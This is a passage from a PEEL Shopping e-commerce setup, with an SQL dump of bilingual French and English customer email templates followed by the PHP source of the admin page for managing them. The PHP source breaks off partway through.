    (42, 'insere_avis', 'Un internaute a ajouté un commentaire sur [SITE]', 'A user has left a comment on [SITE]', 'Hello,\r\n\r\n[PRENOM] [NOM_FAMILLE] has added the following comment:\r\n\r\nProduct name: [NOM_PRODUIT]\r\n\r\nPosted opinion: [AVIS]\r\n\r\nIn order to confirm your opinion, you have to log in the administration interface and to edit its status in TOOLS > Users opinions.', 'en', 'TRUE', 1, '', 0),
    (43, 'bons_anniversaires', '[SITE] vous souhaite un joyeux anniversaire', '[SITE] wishes you an happy birthday', 'Hello [CIVILITE] [PRENOM] [NOM_FAMILLE],\r\n\r\nKnowing that it is your birthday, we are giving you this discount code: [NOM_CODE_PROMO].\r\n\r\nIt allows you to benefit from a [REMISE] discount on your next order [MAIL_EXTRA_INFOS].\r\n\r\nThis promotional code can only be used by you once, from now on and until the following date [DATE_FIN].\r\n\r\n[SITE] wishes you a happy birthday!', 'en', 'TRUE', 1, '', 0),
    (44, 'direaunami_sent', '[PSEUDO] a visité le site [SITE] et vous recommande d''aller', '[PSEUDO] visited the website [SITE] and recommands you to have a look on it', 'Hello [NOM_FAMILLE], \r\n\r\n[PSEUDO] visited the website [SITE] and thinks it could be interesting for you:\r\n\r\nURL: [PRODUCT_LINK]\r\n\r\nMy comments: \r\n------------------------------------ \r\n[COMMENTS]\r\n------------------------------------', 'en', 'TRUE', 1, '', 0),
    (45, 'cheques_cadeaux', '[EMAIL_ACHETEUR] vous offre un chèque cadeau', '[EMAIL_ACHETEUR] offers you a voucher', 'Hello,\r\n\r\n[SITE] has bought you a gift!\r\n\r\nTo benefit from it, please connect to the website [WWWROOT] and use your code [CHECK_NAME].\r\n\r\nYou will then benefit from a discount of [REMISE_VALEUR] for a minimal amount of purchase of [MONTANT_MIN] HT regarding your order.', 'en', 'TRUE', 1, '', 0),
    (46, 'cree_cheque_cadeau_friend', '[EMAIL] vous offre un chèque cadeau', '[EMAIL] offers you a voucher', 'Hello,\r\n\r\nYour friend [PRENOM] [NOM_FAMILLE] has bought you a gift on the website [SITE].\r\n\r\nIn order to benefit from it, please connect to the website [WWWROOT] and use your code [CODE].\r\n\r\nYou will then enjoy a discount of [PRIX] VAT INCLUDED on your order.\r\n', 'en', 'TRUE', 1, '', 0),
    (47, 'cree_cheque_cadeau_admin', 'Création d''un chèque cadeau', 'Creation of a voucher', 'Hello,\r\n\r\nA promotion code [CODE] using the VOUCHER module has just been created on [SITE].', 'en', 'TRUE', 1, '', 0),
    (48, 'cree_cheque_cadeau_client_type2', '[FRIEND] vous offre un chèque cadeau (montant)', '[FRIEND] offers you a voucher', 'Hello,\r\n\r\n[SITE] is offering you a 30 days voucher for an amount of [MONTANT].\r\n\r\nIn order to benefit from it, please connect to the website [WWWROOT] and use your code [CODE].', 'en', 'TRUE', 1, '', 0),
    (49, 'cree_cheque_cadeau_client_admin', 'Création d''un chèque cadeau', 'Creation of a voucher', 'Hello,\r\n\r\nThe promotional code [CODE] has been created using the sponsoring module [SITE].', 'en', 'TRUE', 1, '', 0),
    (50, 'gift_list', 'Liste de cadeaux', 'Gift list', 'Hello,\r\n\r\nDetails of the message received on [DATE]\r\n\r\n[PRENOM] [NOM_FAMILLE] sends you his gift list called: [GIFTLIST_NAME]\r\n\r\n[GIFTLIST_ITEMS]', 'en', 'TRUE', 1, '', 0),
    (51, 'email_ordered_cadeaux', 'Commande sur votre liste Cadeau "[LIST_NAME]"', 'Commande sur votre liste Cadeau "[LIST_NAME]"', 'Hello,\r\n\r\n[PRENOM] [NOM] has just ordered something from your gift list [GIFTLIST_NAME].\r\n\r\nHere are the products ordered: [GIFTLIST_ITEMS]', 'en', 'TRUE', 1, '', 0),
    (52, 'listecadeau_voir', 'Commande sur votre liste Cadeau "[LIST_NAME]"', 'Commande sur votre liste Cadeau "[LIST_NAME]"', 'Bonjour,\r\n\r\nDetails of the message sent on [DATE]:\r\n\r\n[PRENOM] [NOM] sends you his gift list called [GIFTLIST_NAME] :\r\n[WWWROOT]/modules/listecadeau/voir.php?email_liste=[URL_LISTE_CADEAU]\r\n\r\n[GIFTLIST_ITEMS]', 'en', 'TRUE', 1, '', 0),
    (53, 'parrainage', '[PSEUDO] souhaite vous parrainer', '[PSEUDO] wishes to sponsor you', 'Hello,\r\n\r\n[PSEUDO] invites you to discover the following website [SITE] and benefit from a [REBATE] credit on your first order, after having validated your customer account. \r\n\r\nClick on the following link to validate your costumer account: :\r\n [WWWROOT]/modules/parrainage/inscription.php?email=[EMAIL_FILLEUL]&code=[MDP]&id=[ID_UTILISATEUR]\r\n\r\nYour ID: [EMAIL_FILLEUL]\r\nYour password: [MDP]', 'en', 'TRUE', 1, '', 0),
    (54, 'email_alerte', 'Produit en stock sur [SITE]', 'Produit en stock sur [SITE]', 'Hello,\r\n\r\nThe following product [NOM_PRODUIT] is currently in stock. Click on the following link to discover it: [URLPROD]\r\n\r\nSee you soon on [SITE]\r\n', 'en', 'TRUE', 1, '', 0),
    (55, 'decremente_stock', 'Notification d''alerte STOCK', 'Notification d''alerte STOCK', 'Hello,\r\n\r\nThe stock threshold has been reached for the following product [NOM_PRODUIT].\r\nOpen stock : [STOCK_RESTANT_APRES_DEMANDE]', 'en', 'TRUE', 1, '', 0),
    (56, 'signature', 'Signature emails automatiques', 'Signature emails automatiques', '\r\nCustomer service\r\n[SITE]\r\n[WWWROOT]', 'en', 'TRUE', 1, '', 0),
    (57, 'admin_login', 'Administrateur login info', 'Login from [USER] [REMOTE_ADDR]', 'Hello,\r\n\r\nThis email warns you that an administrator has logged in your website.\r\n\r\nUser login : [USER]\r\nIP used : [REMOTE_ADDR]\r\nReverse DNS : [REVERSE_DNS]\r\nDatetime : [DATETIME]\r\n\r\nThis email enhances the security on you PEEL eshop.', 'en', 'TRUE', 1, '', 0),
    (58, 'admin_login', 'Administrateur login info', 'Connexion de [USER] [REMOTE_ADDR]', 'Bonjour,\r\n\r\nNous vous envoyons cet email à la suite d''une connexion réussie d''un administrateur sur votre site.\r\n\r\nIdentifiant client : [USER]\r\nIP de connexion : [REMOTE_ADDR]\r\nReverse DNS : [REVERSE_DNS]\r\nHeure de connexion : [DATETIME]\r\n\r\nCet email à pour but de vous sensibiliser à la sécurité de votre boutique PEEL pour mieux la protéger.', 'fr', 'TRUE', 1, '', 0),
    (59, 'signature', 'Signature emails automatiques', 'Signature emails automatiques', '\r\n\r\nLe service client\r\n[SITE]\r\n[WWWROOT]', 'fr', 'TRUE', 1, '', 0),
    (60, 'cree_cheque_cadeau_client_type1', '[FRIEND] vous offre un chèque cadeau (pourcentage)', '[FRIEND] vous offre un chèque cadeau', 'Bonjour,\r\n\r\n[SITE] vous offre un chèque cadeau valable 30 jours d''un montant de [PERCENT].\r\n\r\nPour en bénéficier, connectez-vous simplement au site [WWWROOT] et utilisez votre code [CODE].\r\n', 'fr', 'TRUE', 1, '', 0),
    (61, 'cree_cheque_cadeau_client_type1', '[FRIEND] vous offre un chèque cadeau (pourcentage)', '[FRIEND] offers you a voucher', 'Hello,\r\n\r\n[SITE] is offering you a 30 days voucher for an amount of [PERCENT].\r\n\r\nIn order to benefit from it, please connect to the website [WWWROOT] and use your code [CODE].', 'en', 'TRUE', 1, '', 0),
    (62, 'warn_admin_user_subscription', 'Avertissement de l''inscription d''un utilisateur', '[CIVILITE] [PRENOM] [NOM_FAMILLE] vient de s''inscrire sur [SITE_NAME]', 'Le [DATE], \r\n\r\nL''utilisateur suivant vient de s''inscrire :\r\n\r\n[CIVILITE] [PRENOM] [NOM_FAMILLE]\r\n[EMAIL]\r\n[SOCIETE]\r\n[TELEPHONE]\r\n[PRIV]\r\n\r\n[link="[ADMIN_URL]"]Administrer le compte de cet utilisateur[/link]\r\n', 'fr', 'FALSE', 5, '', 0),
    (63, 'email_retour_virement', 'Validation de votre retour [RETURN_ID]', 'Validation de votre retour numéro [RETURN_ID]', 'Bonjour,\r\n\r\nNous avons bien reçu votre retour numéro [RETURN_ID].\r\nConformément à votre choix, le montant correspondant, soit [MONTANT] vous sera remboursé par Virement bancaire dans les plus brefs délais.', 'fr', 'TRUE', 1, '', 0),
    (64, 'email_retour_virement', 'Validation of your return [RETURN_ID]', 'Validation of your number return [RETURN_ID]', 'Hello,\r\n\r\nWe have received your return number [RETURN_ID].\r\nAccording to your choice, the corresponding amount, or will be paid off to [MONTANT] to you by Bank transfer as soon as possible.', 'en', 'TRUE', 1, '', 0),
    (65, 'email_retour_avoir', 'Validation de votre retour [RETURN_ID]', 'Validation de votre retour numnéro [RETURN_ID]', 'Bonjour,\r\n\r\nNous avons bien reçu votre retour numéro [RETURN_ID].\r\nConformément à votre choix, le montant correspondant vient d''être crédité sur votre compte, soit [MONTANT]. Cet [MODE] sera déduit automatiquement de vos prochaines commandes jusqu''à épuisement.', 'fr', 'TRUE', 1, '', 0),
    (66, 'email_retour_avoir', 'Validation of your return [RETURN_ID]', 'Validation of your number return [RETURN_ID]', 'Hello,\r\n\r\nWe have received your return number [RETURN_ID].\r\nAccording to your choice, the corresponding amount has just been credited on your account, that is [MONTANT]. This [MODE] will be automatically deducted from your next order until exhaustion.', 'en', 'TRUE', 1, '', 0),
    (67, 'email_reste_avoir_remboursement', 'Remboursement de votre avoir [RETURN_ID]', 'Remboursement de votre avoir numéro [RETURN_ID]', 'Bonjour,\r\n\r\nNous avons bien reçu votre retour numéro [RETURN_ID].\r\nLe remboursement ne pouvant exéder le montant de la commande, [MONTANT] vous sera remboursé par [MODE].Le solde vient d''être crédité sur votre compte, soit [RESTE_AVOIR]. Cet avoir sera déduit automatiquement de vos prochaines commandes jusqu''à épuisement.', 'fr', 'TRUE', 1, '', 0),
    (68, 'email_reste_avoir_remboursement', 'Repayment of your credit [RETURN_ID]', 'Repayment of your number credit [RETURN_ID]', 'Hello,\r\n\r\nWe have received your return number [RETURN_ID].\r\nThe repayment can not blank exceeds the amount of the order, [MONTANT] will be refunded by [MODE].The balance has been credited to your account, that is [RESTE_AVOIR]. This credit will be automatically deducted from your next order until exhausted.', 'en', 'TRUE', 1, '', 0),
    (69, 'email_remboursement', 'Remboursement de votre retour [RETURN_ID]', 'Remboursement de votre retour numéro[RETURN_ID]', 'Bonjour,\r\n\r\nLe remboursement de votre retour numéro [RETURN_ID], d''un montant de [MONTANT] vient d''être effectué par [MODE].', 'fr', 'TRUE', 1, '', 0),
    (70, 'email_remboursement', 'Repayment of your return [RETURN_ID]', 'Repayment of your number return [RETURN_ID]', 'Hello,\r\n\r\nThe repayment of your return number [RETURN_ID], to the amount of [MONTANT] has just been made by [MODE]', 'en', 'TRUE', 1, '', 0),
    (71, 'email_retour_client', 'Votre demande de retour', 'Votre demande de retour', 'Bonjour,\r\n\r\nVotre demande de retour a bien été enregistrée.\r\nA présent, expédiez-nous les articles à l''adresse suivante :\r\n\r\n[SOCIETE]\r\nRETOUR NUMERO [RETURN_ID].\r\n\r\nNous vous rappelons que les articles retournés doivent être en bon état et dans leur emballage d''origine.\r\nDès réception de vos articles, nous validerons le remboursement de ces derniers.', 'fr', 'TRUE', 1, '', 0),
    (72, 'email_retour_client', 'Your return request', 'Your return request', 'Hello,\r\n\r\nYour return request has been registered.\r\nA this, send us the items to the following address:\r\n\r\n[SITE]\r\nRETURN NUMBER [RETURN_ID].\r\n\r\nPlease remember that items must be returned in good condition and in their original packaging.\r\nUpon receipt of your items, we will validate the repayment thereof.', 'en', 'TRUE', 1, '', 0);

    --
    -- Index pour les tables exportées
    --

    --
    -- Index pour la table `peel_email_template`
    --
    ALTER TABLE `peel_email_template`
      ADD PRIMARY KEY (`id`),
      ADD KEY `site_id` (`site_id`);

    --
    -- AUTO_INCREMENT pour les tables exportées
    --

    --
    -- AUTO_INCREMENT pour la table `peel_email_template`
    --
    ALTER TABLE `peel_email_template`
      MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=73;
    /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
    /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
    /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

     

     

    Voici le contenu de email_template.php

     

    <?php

    // This file should be in UTF8 without BOM - Accents examples: éèê

    // +----------------------------------------------------------------------+

    // | Copyright (c) 2004-2015 Advisto SAS, service PEEL - contact@peel.fr  |

    // +----------------------------------------------------------------------+

    // | This file is part of PEEL Shopping 7.2.1, which is subject to an      |

    // | opensource GPL license: you are allowed to customize the code          |

    // | for your own needs, but must keep your changes under GPL              |

    // | More information: https://www.peel.fr/lire/licence-gpl-70.html          |

    // +----------------------------------------------------------------------+

    // | Author: Advisto SAS, RCS 479 205 452, France, https://www.peel.fr/      |

    // +----------------------------------------------------------------------+

    // $Id: email-templates.php 44077 2015-02-17 10:20:38Z sdelaporte $

    define('IN_PEEL_ADMIN', true);

    include("../configuration.inc.php");

    necessite_identification();

    necessite_priv("admin_content");

     

    $GLOBALS['DOC_TITLE'] = $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TITLE'];

     

    $reportError = array();

    $report = '';

    $output = '';

     

    // Modification d'un template

    if (!empty($_GET['id'])) {

        if (isset($_POST['form_name'], $_POST['form_subject'], $_POST['form_text'])) {

            if ($_POST['form_id_cat'] == "0") formErrorPush ($reportError, 'form_id_cat');

            if (empty($_POST['form_name'])) formErrorPush ($reportError, 'form_name');

            if (empty($_POST['form_subject'])) formErrorPush ($reportError, 'form_subject');

            if (!verify_token('email-templates.php?id=' . $_GET['id'])) formErrorPush ($reportError, 'token', $GLOBALS['STR_INVALID_TOKEN']);

            if (empty($_POST['form_text'])) {

                formErrorPush ($reportError, 'form_text');

            } elseif (String::strip_tags($_POST['form_text']) != $_POST['form_text']) {

                // On corrige le HTML si nécessaire

                if (String::strpos($_POST['form_text'], '<br>') === false && String::strpos($_POST['form_text'], '<br />') === false && String::strpos($_POST['form_text'], '</p>') === false && String::strpos($_POST['form_text'], '<table') === false) {

                    // Par exemple si on a mis des balises <b> ou <u> dans email sans mettre de <br /> nulle part, on rajoute <br /> en fin de ligne pour pouvoir nettoyer ensuite le HTML de manière cohérente

                    $added_br = true;

                    $_POST['form_text'] = str_replace(array("\n"), "<br />\n", str_replace(array("\r\n", "\r"), "\n", $_POST['form_text']));

                }

                $_POST['form_text'] = String::getCleanHTML($_POST['form_text'], null, true, true, true, null, false);

                if (!empty($added_br)) {

                    $_POST['form_text'] = str_replace(array("<br />\n"), "\n", $_POST['form_text']);

                }

            }

     

            if (count($reportError)) {

                if (!empty($reportError['token'])) {

                    $action = $GLOBALS['tplEngine']->createTemplate('global_error.tpl', array('message' => $reportError['token']))->fetch();

                } else {

                    $action = $GLOBALS['tplEngine']->createTemplate('global_error.tpl', array('message' => $GLOBALS['STR_ERR_FILL_IN_ALL']))->fetch();

                }

                $ok = false;

            } else {

                query('UPDATE peel_email_template SET

                        site_id="' . intval(vn($_POST['site_id'])) . '",

                        technical_code="' . trim(nohtml_real_escape_string($_POST['form_technical_code'])) . '",

                        name="' . trim(nohtml_real_escape_string($_POST['form_name'])) . '",

                        subject="' . trim(real_escape_string($_POST['form_subject'])) . '",

                        text="' . real_escape_string($_POST['form_text']) . '",

                        id_cat="' .intval($_POST['form_id_cat']) . '",

                        lang="' . trim(nohtml_real_escape_string($_POST['form_lang'])) . '",

                        default_signature_code ="' . nohtml_real_escape_string($_POST['default_signature_code']) . '"

                    WHERE id="' . intval($_GET['id']) . '"');

                $action = $GLOBALS['tplEngine']->createTemplate('global_success.tpl', array('message' => $GLOBALS["STR_ADMIN_EMAIL_TEMPLATES_MSG_UPDATED"]))->fetch();

            }

        }

     

        $query_update = query('SELECT id, technical_code, name, subject, text, lang, id_cat, default_signature_code, site_id

            FROM peel_email_template

            WHERE id="' . intval($_GET['id']) . '" AND ' . get_filter_site_cond('email_template', null, true) . '

            LIMIT 1');

        $template_infos = fetch_assoc($query_update);

        // On va chercher les catégories

        $result_categories = query('SELECT id, name_' . $_SESSION['session_langue'] . ' AS name

            FROM peel_email_template_cat');

        $tpl_categories_list = $GLOBALS['tplEngine']->createTemplate('admin_email-templates_categories_list.tpl');

        $tpl_categories_list->assign('STR_CHOOSE', $GLOBALS['STR_CHOOSE']);

        $tpl_options = array();

        while ($row_categories = fetch_assoc($result_categories)) {

            $tpl_options[] = array('value' => intval($row_categories['id']),

                'issel' => vb($_POST['form_id_cat']) == $row_categories['id'] || $row_categories['id'] == $template_infos['id_cat'],

                'name' => $row_categories['name']

                );

        }

        $tpl_categories_list->assign('options', $tpl_options);

        $categories_list = $tpl_categories_list->fetch();

     

        $tpl = $GLOBALS['tplEngine']->createTemplate('admin_email-templates_output.tpl');

        $tpl->assign('action_html', (isset($action) ? $action : ''));

        $tpl->assign('href', $GLOBALS['administrer_url'] . '/email-templates.php');

        $tpl->assign('id', $_GET['id']);

        $tpl->assign('action', $GLOBALS['administrer_url'] . '/email-templates.php?id=' . $_GET['id']);

        $tpl->assign('form_token', get_form_token_input('email-templates.php?id=' . $_GET['id'] . ''));

        $tpl->assign('categories_list', $categories_list);

        $tpl->assign('technical_code', (isset($_POST['form_technical_code']) ? $_POST['form_technical_code'] : vb($template_infos['technical_code'])));

        $tpl->assign('name', (isset($_POST['form_name']) ? $_POST['form_name'] : vb($template_infos['name'])));

        $tpl->assign('subject', vb($template_infos['subject']));

        $tpl->assign('text', vb($template_infos['text']));

        $tpl->assign('signature_template_options', get_email_template_options('technical_code', null, vb($template_infos['lang']), vb($template_infos['default_signature_code']), true));

     

        $tpl_langs = array();

        $langs_array = $GLOBALS['admin_lang_codes'];

        if (!empty($template_infos['lang']) && !in_array($template_infos['lang'], $GLOBALS['admin_lang_codes'])) {

            $langs_array[] = $template_infos['lang'];

        }

        foreach ($langs_array as $lng) {

            $tpl_langs[] = array('lng' => $lng,

                'issel' => vb($template_infos['lang']) == $lng

                );

        }

        $tpl->assign('site_id_select_options', get_site_id_select_options(vb($template_infos['site_id'])));

        $tpl->assign('langs', $tpl_langs);

        $tpl->assign('emailLinksExplanations', emailLinksExplanations());

        $tpl->assign('STR_ADMIN_WEBSITE', $GLOBALS['STR_ADMIN_WEBSITE']);

        $tpl->assign('STR_BEFORE_TWO_POINTS', $GLOBALS['STR_BEFORE_TWO_POINTS']);

        $tpl->assign('STR_TEXT', $GLOBALS['STR_TEXT']);

        $tpl->assign('STR_NUMBER', $GLOBALS['STR_NUMBER']);

        $tpl->assign('STR_CLICK_HERE', $GLOBALS['STR_CLICK_HERE']);

        $tpl->assign('STR_CATEGORY', $GLOBALS['STR_CATEGORY']);

        $tpl->assign('STR_ADMIN_SUBJECT', $GLOBALS['STR_ADMIN_SUBJECT']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_UPDATE_TEMPLATE', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_UPDATE_TEMPLATE']);

        $tpl->assign('STR_ADMIN_LANGUAGE', $GLOBALS['STR_ADMIN_LANGUAGE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_INSERT_TEMPLATE', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_INSERT_TEMPLATE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAGS_TABLE_EXPLAIN', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAGS_TABLE_EXPLAIN']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TEMPLATE_NAME', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TEMPLATE_NAME']);

        $tpl->assign('STR_ADMIN_TECHNICAL_CODE', $GLOBALS['STR_ADMIN_TECHNICAL_CODE']);

        $tpl->assign('STR_SIGNATURE', $GLOBALS['STR_SIGNATURE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_WARNING', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_WARNING']);

        $output .= $tpl->fetch();

    }

    // Insertion d'un nouveau template = requete sql

    if (isset($_POST['form_name'], $_POST['form_subject'], $_POST['form_text'], $_POST['form_lang']) && empty($_GET['id'])) {

        if (empty($_POST['form_name']) || empty($_POST['form_subject']) || empty($_POST['form_text']) || empty($_POST['form_lang']) || $_POST['form_id_cat'] == "0") {

            $action = $GLOBALS['tplEngine']->createTemplate('global_error.tpl', array('message' => $GLOBALS['STR_ERR_FILL_IN_ALL']))->fetch();

        }

        if (!verify_token('email-templates.php-ajout')) {

            formErrorPush ($reportError, 'token', $GLOBALS['STR_INVALID_TOKEN']);

        }

        if (empty($_POST['form_subject'])) {

            formErrorPush ($reportError, 'form_subject');

        }

        if (empty($_POST['form_text'])) {

            formErrorPush ($reportError, 'form_text');

        }

        if (!count($reportError)) {

            query('INSERT INTO peel_email_template (site_id, technical_code, name, subject, text, lang, id_cat, default_signature_code ) VALUES(

                "' . trim(nohtml_real_escape_string($_POST['site_id'])) . '",

                "' . trim(nohtml_real_escape_string($_POST['form_technical_code'])) . '",

                "' . trim(nohtml_real_escape_string($_POST['form_name'])) . '",

                "' . trim(real_escape_string($_POST['form_subject'])) . '",

                "' . trim(real_escape_string($_POST['form_text'])) . '",

                "' . trim(nohtml_real_escape_string($_POST['form_lang'])) . '",

                "' . intval($_POST['form_id_cat']) . '",

                "' . trim(nohtml_real_escape_string($_POST['default_signature_code'])) . '")');

            $action = $GLOBALS['tplEngine']->createTemplate('global_success.tpl', array('message' => $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_MSG_TEMPLATE_CREATED']))->fetch();

        }

    }

    // Insertion d'un template

    if (empty($_GET['id'])) {

        // On va chercher les catégories

        $result_categories = query('SELECT id, name_' . $_SESSION['session_langue'] . ' AS name

            FROM peel_email_template_cat

            WHERE ' . get_filter_site_cond('email_template_cat', null, true));

        $tpl_categories_list = $GLOBALS['tplEngine']->createTemplate('admin_email-templates_categories_list.tpl');

        $tpl_categories_list->assign('STR_CHOOSE', $GLOBALS['STR_CHOOSE']);

        $tpl_options = array();

        while ($row_categories = fetch_assoc($result_categories)) {

            $tpl_options[] = array('value' => intval($row_categories['id']),

                'issel' => vb($_POST['form_id_cat']) == $row_categories['id'],

                'name' => $row_categories['name']

                );

        }

        $tpl_categories_list->assign('options', $tpl_options);

        $categories_list = $tpl_categories_list->fetch();

     

        $tpl = $GLOBALS['tplEngine']->createTemplate('admin_email-templates_output2.tpl');

        $tpl->assign('action_html', (isset($action) ? $action : ''));

        $tpl->assign('form_token', get_form_token_input('email-templates.php-ajout'));

        $tpl->assign('categories_list', $categories_list);

        $tpl->assign('form_technical_code', vb($_POST['form_technical_code']));

        $tpl->assign('form_name', vb($_POST['form_name']));

        $tpl->assign('form_subject', vb($_POST['form_subject']));

        $tpl->assign('form_text', vb($_POST['form_text']));

        $tpl_langs = array();

        $langs_array = $GLOBALS['admin_lang_codes'];

        if (!empty($_POST['form_lang']) && !in_array($_POST['form_lang'], $GLOBALS['admin_lang_codes'])) {

            $langs_array[] = $_POST['form_lang'];

        }

        foreach ($langs_array as $lng) {

            $tpl_langs[] = array('lng' => $lng,

                'issel' => vb($_POST['form_lang']) == $lng

                );

        }

        $tpl->assign('signature_template_options', get_email_template_options('technical_code', null, null, null, true));

        $tpl->assign('langs', $tpl_langs);

        $tpl->assign('emailLinksExplanations', emailLinksExplanations());

        $tpl->assign('site_id_select_options', get_site_id_select_options(vb($template_infos['site_id'])));

        $tpl->assign('STR_ADMIN_WEBSITE', $GLOBALS['STR_ADMIN_WEBSITE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_INSERT_TEMPLATE', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_INSERT_TEMPLATE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_MSG_LAYOUT_EXPLAINATION', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_MSG_LAYOUT_EXPLAINATION']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAGS_TABLE_EXPLAIN', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAGS_TABLE_EXPLAIN']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TAGS_EXPLAIN', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TAGS_EXPLAIN']);

        $tpl->assign('STR_CATEGORY', $GLOBALS['STR_CATEGORY']);

        $tpl->assign('STR_BEFORE_TWO_POINTS', $GLOBALS['STR_BEFORE_TWO_POINTS']);

        $tpl->assign('STR_ADMIN_TECHNICAL_CODE', $GLOBALS['STR_ADMIN_TECHNICAL_CODE']);

        $tpl->assign('STR_ADMIN_EMAIL_TEMPLATES_TEMPLATE_NAME', $GLOBALS['STR_ADMIN_EMAIL_TEMPLATES_TEMPLATE_NAME']);

        $tpl->assign('STR_ADMIN_SUBJECT', $GLOBALS['STR_ADMIN_SUBJECT']);

        $tpl->assign('STR_TEXT', $GLOBALS['STR_TEXT']);

        $tpl->assign('STR_SIGNATURE', $GLOBALS['STR_SIGNATURE']);

        $tpl->assign('STR_ADMIN_LANGUAGE', $GLOBALS['STR_ADMIN_LANGUAGE']);

        

        $output .= $tpl->fetch();

    }

    // Filtre de recherche de modèle d'email

    $tpl = $GLOBALS['tplEngine']->createTemplate('admin_email-templates_search.tpl');

    $form_error_object = new FormError();

    $tpl_options = array();

    // Récupération des catégories de template email

    $result = query('SELECT tc.id, tc.name_' . $_SESSION['session_langue'] . ' AS name

        FROM peel_email_template_cat tc

        INNER JOIN peel_email_template t ON t.id_cat=tc.id AND t.active="TRUE" AND ' . get_filter_site_cond('email_template', 't', true) . '

        WHERE ' . get_filter_site_cond('email_template_cat', 'tc', true) . '

        GROUP BY tc.id

        ORDER BY name');

    while ($row_categories = fetch_assoc($result)) {

        $tpl_options[] = array('value' => intval($row_categories['id']),

            'issel' => vb($_GET['form_lang_template']) == $row_categories['id'],

            'name' => $row_categories['name']

            );

    }

    $tpl->assign('options', $tpl_options);

    $tpl_langs = array();

    foreach ($GLOBALS['admin_lang_codes'] as $lng) {

        $tpl_langs[] = array('name' => $lng,

            'value' => $lng,

            'issel' => vb($_GET['form_lang_template']) == $lng

            );

    }

    $tpl->assign('langs', $tpl_langs);

    $tpl->assign('etat', vb($_GET['etat']));

    $tpl->assign('STR_CHOOSE', $GLOBALS['STR_CHOOSE']);

    $tpl->assign('STR_ADMIN_LANGUAGE', $GLOBALS['STR_ADMIN_LANGUAGE']);

    $tpl->assign('STR_CATEGORY', $GLOBALS['STR_CATEGORY']);

    $tpl->assign('STR_STATUS', $GLOBALS['STR_STATUS']);

    $tpl->assign('STR_ADMIN_ACTIVATED', $GLOBALS['STR_ADMIN_ACTIVATED']);

    $tpl->assign('STR_ADMIN_DEACTIVATED', $GLOBALS['STR_ADMIN_DEACTIVATED']);

    $tpl->assign('STR_SEARCH', $GLOBALS['STR_SEARCH']);

    $tpl->assign('STR_ADMIN_CHOOSE_SEARCH_CRITERIA', $GLOBALS['STR_ADMIN_CHOOSE_SEARCH_CRITERIA']);

    $tpl->assign('STR_BEFORE_TWO_POINTS', $GLOBALS['STR_BEFORE_TWO_POINTS']);

    $output .= $tpl->fetch();

     

    // Affichage de tous les templates

    $sql = 'SELECT id, technical_code, name, subject, text, lang, active, id_cat, site_id

        FROM peel_email_template

        WHERE ' . get_filter_site_cond('email_template', null, true);

     

    if (!empty($_GET['form_lang_template'])) {

        $sql .= ' AND lang = "' . nohtml_real_escape_string($_GET['form_lang_template']) . '"';

    }

    if (empty($_GET['form_lang_template'])) {

        $sql .= '';

    }

    if (!empty($_GET['form_id_cat'])) {

        $sql .= ' AND id_cat = "' . intval($_GET['form_id_cat']) . '"';

    }

    if (empty($_GET['form_id_cat'])) {

        $sql .= '';

    }

     

    if (isset($_GET['etat']) && empty($_GET['etat'])) {

        $sql .= '';

    }

    if (isset($_GET['etat']) && $_GET['etat'] == "1") {

        $sql .= ' AND active = "TRUE"';

    }

    if (isset($_GET['etat']) && $_GET['etat'] == "0") {

        $sql .= ' AND active = "FALSE"';

    }

     

    $sql .= ' ORDER BY technical_code ASC, lang ASC';

     

    $Links = new Multipage($sql, 'email_templates', 40);

    $results_array = $Links->query();

     

    $tpl = $GLOBALS['tplEngine']->createTemplate('admin_email-templates_report.tpl');

    $tpl->assign('links_multipage', $Links->GetMultipage());

    if (!empty($results_array)) {

        $tpl_results = array();

        $i = 0;

        $bold = 0;

        $all_sites_name_array = get_all_sites_name_array();

        foreach ($results_array as $this_template) {

            // On récupère la catégorie du template (s'il en a une)

            $category_name = '';

            if ($this_template['id_cat'] != 0) {

                $result_category = query('SELECT name_' . $_SESSION['session_langue'] . ' AS name

                FROM peel_email_template_cat

                WHERE id=' . intval($this_template['id_cat']) . ' AND ' . get_filter_site_cond('email_template_cat', null, true));

                $row_category = fetch_assoc($result_category);

                $category_name = $row_category['name'];

            }

            $tpl_results[] = array('tr_rollover' => tr_rollover($i, true),

                'id' => $this_template["id"],

                'technical_code' => String::str_shorten_words($this_template["technical_code"], 20, '<br />'),

                'category_name' => $category_name,

                'name' => $this_template["name"],

                'subject' => String::str_shorten_words($this_template["subject"], 40),

                'text' => String::str_shorten_words($this_template["text"], 40),

                'lang' => $this_template["lang"],

                'etat_onclick' => 'change_status("email-templates", "' . $this_template['id'] . '", this, "'.$GLOBALS['administrer_url'] . '")',

                'etat_src' => $GLOBALS['administrer_url'] . '/images/' . ($this_template["active"] != "TRUE" ? 'puce-blanche.gif' : 'puce-verte.gif'),

                'edit_href' => 'email-templates.php?id=' . $this_template['id'],

                'site_name' => ($this_template['site_id'] == 0? $GLOBALS['STR_ADMIN_ALL_SITES']: $all_sites_name_array[$this_template['site_id']]),

                );

            $i++;

        }

        $tpl->assign('results', $tpl_results);

    }

